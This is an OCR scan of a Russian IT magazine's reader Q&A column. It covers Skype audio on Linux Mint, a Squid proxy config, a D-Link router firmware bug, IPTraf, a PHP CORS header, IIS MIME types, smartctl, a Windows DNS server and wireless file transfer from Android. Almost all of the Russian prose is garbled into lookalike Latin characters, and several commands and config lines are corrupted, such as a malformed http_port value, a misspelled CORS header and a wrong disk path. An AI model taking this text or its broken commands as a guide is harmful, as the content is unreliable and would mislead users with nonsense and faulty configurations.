IIoctosihho nponaAaeT 3eyK b CKafine — ctomt mribKO ycTaHOBMTb KOHcJ>epeH- 
141110, K3K oh OTBa/iMBaeTcn. Ctomt Mint 16. KaK sto nennTb? 

YBbi — Ha Mint 16 ecTb onpeAe/ieHHbie koc^km co CKafinoM. B KanecTBe KOCTbi.rm 
Mory npeA/ioxnTb nocTaBMTb cjieAyfoiAnw naKeT: 

sudo apt-get install libasound2-plugins : i386 

Ha rm™ 6oeBbix ManiMHax c TaKOM xe npo6/ieiviOM noMomo, HaAeiocb, noivioxeT m Te6e. 
B oco6o "mxe/iOM cnyMae moxho nonpo6oBaTb nocTaBMTb naKeT 

sudo apt-get install pavucontrol 

3aieM nepeMTM b HacipoMKn Input device, OTKpbiTb 3aMOK, toi~o mo6bi left m right 
ABura/incb He cuhxpohho, m BbiCTaBMTb right b 0. B HacTpoPiKax Skype CHHTb ra/iKy c Allow 
skype to adjust mixer levels. TaKxe coBeTyio 03HaKOMmbCfl co CTaTbeu , oco6eHHO o6pa~m 
BHMMaHne Ha pa3Ae/i, nocBflmeHHbiii Skype. 





TlOAe3HblU XUHttl 



nPOKCM-CEPBEP 



□ Hy>KHO nOAHSITb npOKCM-CepBep C MMHMMaJlbHblMM njISlCKaMM. flOAHMMaTb 
Hy>KHO Ha Debian, hgm MeHbuie 6yp,ej kohc^ht, tgm jiynuje. Hto Momeiub nope- 

KOMeHAOBaTb? 

□ A-na 3tmx u,enev\ npeAnaraio ncno/ib30BaTb Squid ( squid-cache.org ). Squid — sto 
BbicoKonpon3BOAHTe/ibHbiM KenjMpyioiu,nM npoKCH-cepBep Aifl Be6-KJineHTOB, noA- 
Aep>KHBaK)U4MM FTP, Gopher h HTTP o6teKTbi AaHHbix. B OT/insne ot Apyrwx noAo6Hbix 
nporpaMMHbix pemeHMM Squid o6cnyxnBaeT Bee 3anpocbi KaK oahh He6/iOKnpyeMbiM npo- 
u,ecc BBOAa/BbiBOAa. TaKxe Squid coxpaH^eT mhackc AaHHbix h oco6o Macro ncno/ib3ye- 
Mbie o6"beKTbi b 03Y, KeujwpyeT 3anpocbi DNS, noAAepxwBaeT He6/iOKnpyeMbie 3anpocbi 
DNS m HeraTMBHoe KeniHpoBaHne HeyAanHbix 3anpocoB. flpucyTCTByeT noAAepxKa SSL, 
ecTb rn6KMM KOHTponb Aocryna m noriHoe xypHa/inpoBaHne 3anpocoB. AyMaK), xBaTMTTe- 
opnn, noAxoAUM k caMOMy MHTepecHOMy — k KOHdpi/iry. Pe3y/ibTaT 6yAeT MMeTb bma: 



acl users src 1.1.1.1 
acl all src all 

http_port 2,2.2.2:8123 

http_access allow users 
http_access deny all 

Pa36epeM, hto xe 3Aecb HanwcaHO. nepBOHananbHO Ao6aB.rmeM hobum ACL aApecoB 
c aMnnLUHMKOM 1.1.1.1 m eu_i,e oahh a/ih Bcex ocTanbHbix. C noMOLu,bK) aToro a/ieivieHTa (src) 
Mbi yKa3biBaeM IP-aApec HCTOHHMKa, to ecTb K/ineHTa, ot KOTOporo nprnuen 3anpoc k Hawe- 
My npc-KCH-cepBepy. Moxho TaKxe yKa3biBaTb HecKO/ibKO IP-aApecoB h/ih Aaxe pgha^kgm. 
3aTeM mast aApec Haiuero npoKCM-cepBepa, b AamnoM npniviepe sto 2.2.2.2 m ero nopT 
8123. I/I noc/iGAHWG ABe ctpokm — sto npaBmia. 3AGCb cjiobo allow HBrrnGTca pa3peiue- 
hmgm, a cnoBO deny — 3anp6LA6HH6M, to ecTb Mbi pa3peujaeM AOCTyn k npoKcu-cepBepy 
Squid c aApecoB HaineM noKa/ibHOM cgth i/i 3anpem,aeM AOCTyn BceM ocTa/ibHbiM. 



Kynii/i TOHKy DAP- 1360, HacTpou/i-noAK/iiOHiiji m nouje/i saHHMaTbca cbohmh 
flenaMM. CnycTq nac b ceTn crra/iH TBopuTbca CTpaHHbie Beu;ii. CKopocTb b ca- 
mom C6tm yna/ia hidkg n/iMHTyca, a noc/ie oToro nepecTa/i nnHroBaTbcq ujjiio3. Cran 
pa36npaTbCfl, OKa3a/iocb, hto yna/i cbmth m nepefl CBoew kohhmhom oh ynoKMJi eme 
u uj/1103. nor/lor TO/ibKO annapaTHbm peceT. flyivia/i, hto yis/iep/ia KaKaa-TO >Ke/ie3Ka, 
a b MTore BbincHii/iocb, hto BUHOBaTa hmghho TOHKa. nepeKOHqburypupoBa/i ee, i~ioa- 
K/iioHMii, nepe3 nac Ta Me ucTopi/in. 5e3Hee ceTb pa6oTaeTHaypa. C noAo6HUM cran- 
KMBaiocb BnepBbie. KyAa xonaTb? 

KonaTb b CTOpOHy T6xnoAAep>KKn A--nnHKa. npaBAa, oco6o rny6oKO He npHAeTca. 
Ohm caMM co3Hanncb, hto M3-3a kpmbom npouiMBKH, i/iAyiAefi no AecJ)o/iTy, onpeAe- 
neHHbie Bepcun CBMTHePi K/iaAyTca tohkom Ha pa3. CBH3aHO sto c olum6kom b My/ibTMKacTe 
caivioPi tohki/i AOCTyna. Bot TaKoPi bot MHTepecHbiPi noBopoT. KaK Tbi yxe caM AoraAancfl, 
npo6neivia peiuaeTCfl o6HOBJieHneM npowHBKH Ha HOByK) BepcuK). ripoujuBKy, KaK m ao- 
KyMeHTau.nK), MCKaTb Ha oct)MunanbHOM caPiTe KOMnaHMM. 

BbmaeT, Hy>KHo y3HaTb, kto KyAa h k3kom TpaqbwK neperoHsieT. Oco6eHHO KorAa 
K3KOM-TO yMHMK b pa3rap TpyAOBoro aha HannHaeT KanaTb hobum 6oeBHK b 6jiio- 
pee u KaHa/i >KyTb KaK npoceAaeT. C noMombto KaKoft Tynsbi mo>kho Ha LUJiio3e no/iy- 

HMTb MHqbopMau.HK) O CGTGBOM CT3TMCT11KG? >KG/iaTG/lbHO HTO-TO nOnpOLU,e, H6M 

Wireshark. 

Hy pa3 nonpouiG, to TorAa npoA-naraio IPTraf ( iptraf.SGul.org ). 3to MOLUHaa h yAo6- 
Haa KOHConbHaa yTmii/rra Rnn MOHMTopMHra cgtm b pgxhmg pGa/ibHoro bpgmghh. 

MOKHO CMOTpGTb pa3flMHHyiO CTaTMCTMKy nO COGAHHGHMflM M MHTGpCjDGMCaM, nOAAepXM- 

BaeT pa3nnHHbie Twnbi ceTeBbix MHTepqbeMCOB (Ethernet, FDDI, ISDN, SLIP, PPP), MoxeT 
reHepnpoBaTb pa3/iMHHbie ceTeBbie AaHHbie, HanpwMep noKa3biBaTb MHcjDopMauMK) o TCP, 
UDP, Tpac|)MKe, 0Lun6Kax KOHTponbHbix cyMM m MHoroe Apyroe. Tao<e b IPTraf HMeeTca 
cwcTeMa <t>mibTpoB, KOTopaa no3BOJinT ci/iCTeMHOMy aAMHHMCTpaTopy 6onee ™6ko pa- 
6oTaTb c MHTepecyKDLAHM ero TpacJ)i/iKOM. 







IP traffic monitor 
General interface 
Detailed interface statistics 
Statistical breakdowns... 
LAN station monitor 

Filters . . . 

Configure . . . 

Exit 





Up/Down-Move selector Enter-exe 



DiaBHoeoKHO IPTraf 



KaK ucno/ib30BaTb cross-origin resource sharing b cbohx npoeKTax? 

Cross-origin resource sharing, v\nv\ coKpameHHO CORS, — TexHO/iormq coBpeivieH- 
Hbix 6pay3epoB, KOTopaa no3BO/ifleT npeAOCTaBi/iTb Be6-CTpaHnu,e AOdyn k pecyp- 
caM Apyroro AOMeHa. Rnn ncnoJib30BaHi/m b npoeKTe Ha ocHOBe PHP HyxHO b KOAe npo- 
nucaTb c/ieAyiOLuee: 

<?php 

header( "Access-Control-Allow-Onigin : *" ) ; 

?> 

TaKxe oneHb peKOMeHflyra noceTHTb pecypc enable-cors.org , rfleTbi 0AH03HaHH0 HatfAeiub 
OTBeTbi Ha 6ojibLUMHCTBO BonpocoB no flaHHOM Teivie. 

KaK Ao6aBMTb onpeAe-neHHbiu MIME type b IIS? 

3to moxho CAe^aTb AByivm cnoco6aMM. nepBbiM — nepe3 rpactwHecKufi MHTep- 
tyewc, a MMeHHo: 
B AncneTHepe IIS nepeiwi Ha ypoBeHb, kotophm HyxHO ynpaB/iHTb. 
B npeACTaB/ieHMM «ripocMOTp B03M0XH0CTeM» ABaxAbi uie^KHH nyHKT «Tnnbi MIME». 
Ha naHe/iM «J2,e\ACiB\A9\» h3>kmm KHonKy «flo6aBi/iTb». 







• B TeKCTOBOM none «PacLunpeHne wviei-M (patina* Ana/ioroBoro okhs Ao6aBb Tun MIME, 
BBeAH pacLUMpGHMG MMeHM (patina. 

• BBeflM Tun MIME b TeKCTOBOM OKHe «Tnn MIME». HanpMMep, application/octet-stream. 
Btopom — nepe3 Koinco/ib: 

appcmd set config /section : staticContent /+" [fileExtension=«-" 
' CTpoKa ' J mimeType=' CTpoKa ']" 

nepeMeHHajifileExtensionfiB^aeTcapaciuMpeHMeM MMeHM (patina. nepeivieHHaamimeType 
onpeAe^aeTTMn MIME. To ecTb KOMaHAa npMMeT bma: 



appcmd set config /section : staticContent /+" [fileExtension= ' .xyz ' .,mimeType= 
' application /octet-stream ']" 

Bbi6MpaM, hto 6onbiue HpaBMTca. 



yjlYHllJAEM 3AIUMTY AHflPOMflA 

Xosy noAHnTb ypoBeHb 3amnTbi Ha CBoeM aHAPOMA-AeBaftce. Ha Her/i ctomt HecKO/ibico skkob 
ot noHT, BK/iK)Ha$i rym, ecTecTBeHHO. ri/iioc pa3/iMHHbie couna/ibHbie cem, ee6-MaHn n kubh-ko- 
iue/ibKn. He roBopq o pa3/iMHHbix 3ai\ieTKax 11 APyroft KOH^iiAeHLLiia/ibHOM nHcJjopMaunn, KOTopyio 
He xoTe/iocb 6bi noAapnTb b nywiie pyKn. Kaxue cpeACTBa 3amnTbi Moxceuib nocoBeTOBaTb (jioice- 
pbi n nponee)? 




□ 




Kaxiie Ha Ubuntu ecTb y-rmwTbi Rna npoBepxM S.M.A.R.T. amcks? 

OAHa M3 caMbix KpyTbix m nojie3Hbix Ty/i3 — smartctl M3 naKeTa smartmontools . 06- 



l A \A PMUTOI/ri/IP TOI/AM' 



! — I — I, V I VI \J V I 



sudo smartctl -a /dev/sdal 



rfle, K3K Tbi noHMMaeiub, /dev/sda1 — sto tbom bhht. Tyji3a noKa3biBaeT CMapT flucKa 
m Ha/iMHMG olum6ok, ecni/i ohm ecTb. B npuiHUMne, b BbiBOAe hwoki/ix HOBbix napaivieTpoB 

M/IM HOBOBBefleHMM B npUBblHHbM CMapT HeT, l~l03T0My BCe npOCTO l/l nOHflTHO. 




Bot Ha xiMHyxc ecTb icyna DNS-cepsepoe, tot me BIND Hero ctomt. A hto ecTb 
LU HaWin2k8R2? 

B KanecTBe a/ibTepHaTMBbi Mory npeftnoxHTb Simple DNS ( simpledns.com ). Jlatrro- 
BbiM, ho b to xe BpeMfl AOBO/ibHO MOLu,HbiM 0yHKu,noHa/i DNS-cepBepa. M3 npewviy- 
Lu,ecTB ctout BbiAe/inTb: 

ynpomeHHoe ynpaB/ieHi/ie DNS; 
6biCTpbiM mierKMM npouecc AnamocTHKn; 
MOLMHbiM cJ)yHKu,noHa^ DNS; 
coBpeivieHHbie xapaKTepucTHKH 6e3onacHOC~m; 
noAAep>KKy pa3HbixTnnoB DNS h RFCs. 



nsl.example.com - Simple DN 
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Performance Graph 
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Uptime: 1 hour 



Requests 886 Cache: 49 



□ Kax nepeHecTM c^awjibi c aHApOMAa Ha flecKTon 6es npOBOAOB? BapnaHT c ry- 
nnoxpaHuniiLiieM hjih Apon6oKCOM He npeAiaraTb, He Bcerfla 3to yao6ho. 

□ TorAa nonpo6yM BOcno/ib30BaTbCH nporpaMMofi WebSharingLite . B/iaroAapa ePi 
moxho nepeAaBaTb (J)aM/ibi 6e3 KaKnx-/in6o npOBOAOB. Bee aomctbm^ cboahtch 
k npocTOMy HaxaTMio KHoriKi/i «CTapT». floc/ie nero HyxHO 3afi™ c AecKTona Ha /iOKa/ib- 
HbiM aApec CBoero CMapTcrpoHa. KcTa™, Kporvie (J)aM/iOB, xpaHHLAHxca Ha Te/iecJ)OHe, mox- 
ho yBMAOTb AaHHbie o 3ap^A0 aKKyMy/iHTopa, KanecTBe Wi-Fi-coeAHHeHM^, ncnonb30Ba- 

HMM B03M0XH0CTeM npOUeCCOpa M fiaMJiTM. JL 




WebShanng 




WebSharingLite 



hllhS MUSIC PHOTOS VII)K)S SIAIUS 



Update Speed: 
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Battery Remaining 
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Lharaer connected. 



Processor Usage 



Wi-ri Signal 



bional itrcnotn: 1U0% 
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capacity: 8.0 gib 
In use: 7.3 GIB 

Available. 680 0 MiB 



Mi ■[ l ,i C<ii(l 



capacity: 29.2 gib 
In use: 21.9 GIB 

Available. 7.3 GIB 



CTOMT JIM MfPACBEH? 



Edb /in CMbic/i b cepTna>MKaunn? 




KoHeHHO, 3to xe noATBepxAeHMe tbomx 3HaHMM. B/iaroAapa stum cepTno>MKaTaM 
moxho npeTeHAOBaTb Ha 6onee BbicoKyK) AO/ixHOCTb m, cooTBGTCTBeHHO, 3apa6oT- 
Hyio unary. V\n\oc moxho BecbMa cmibHO noBbicmb caMOOu,eHKy h noieiuMTb caMO/iK)- 
6ne. A ec/iH 6onee cepbe3HO, to stm cepTi/ic|)HKaTbi otkpokdt ABepw mhoh/ix KpynHbix 3a- 
py6e>KHbix KOMnaHMM. 



XoTb b HaiueM CTpaHe cepTUKjwKau.i/ifl i/i Ha6npaeT o6opoTbi, Bee xe onbiT v\ TpyAOBOM 
Hfl CTax mmgkdt 6o/ibLUMM npwopMTeT. fl/irOC Ka>KAafl cepTi/ict>nKaiJ,i/m ctomt Bno/iHe cepbe-3- 
Hbix AGHer, a MHorne M3 hux Hy>KHO noATBepwaTb MMHHMyM pa3 b ABa roAa. Hto npeBpaiAa- 
eT cepTnc|)MKai4MrO b npocTbie noHTbi, Ha ypoBHe Kynn pacnenaTaHHbix 6yMar M3 KaKoro-HM- 
6yAb OHTiaMH-MHCTMTyTa. BpOAe v\ caM Bee CAaBa/i, a pa6oTOAaTe/ib He BnenaTJieH. IX 
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